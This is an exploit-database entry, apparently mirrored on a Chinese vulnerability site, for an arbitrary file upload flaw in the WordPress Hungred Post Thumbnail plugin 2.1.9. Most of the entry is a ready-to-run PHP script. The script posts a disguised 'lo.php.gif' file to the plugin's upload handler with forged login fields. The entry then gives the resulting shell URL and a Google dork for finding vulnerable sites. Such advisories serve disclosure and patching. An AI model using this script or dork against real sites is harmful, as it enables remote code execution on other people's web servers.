WordPress Hungred Post Thumbnail 2.1.9 Shell Upload

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1047284 漏洞类型
发布时间 2012-06-10 更新时间 2012-06-10
CVE编号 N/A CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2012060109
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
##################################################
# Description : Wordpress Plugins - Hungred Post Thumbnail Arbitrary 
File Upload Vulnerability
# Version : 2.1.9
# Link : http://wordpress.org/extend/plugins/hungred-post-thumbnail/
# Plugins : http://downloads.wordpress.org/plugin/hungred-post-thumbnail.zip
# Date : 31-05-2012
# Google Dork : inurl:/wp-content/plugins/hungred-post-thumbnail/
# Author : Sammy FORGIT - sam at opensyscom dot fr - 
http://www.opensyscom.fr
##################################################


Exploit :

PostShell.php
<?php

$uploadfile="lo.php.gif";
$ch = 
curl_init("http://www.exemple.com/wordpress/wp-content/plugins/hungred-post-thumbnail/File%20Management/hpt_file_upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('Filedata'=>"@$uploadfile",
                'level'=>'10',
                'logged'=>'1'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access : 
http://www.exemple.com/wordpress/wp-content/uploads/hungred-post-thumbnail/images/random/lo.php.gif

lo.php.gif
<?php
phpinfo();
?>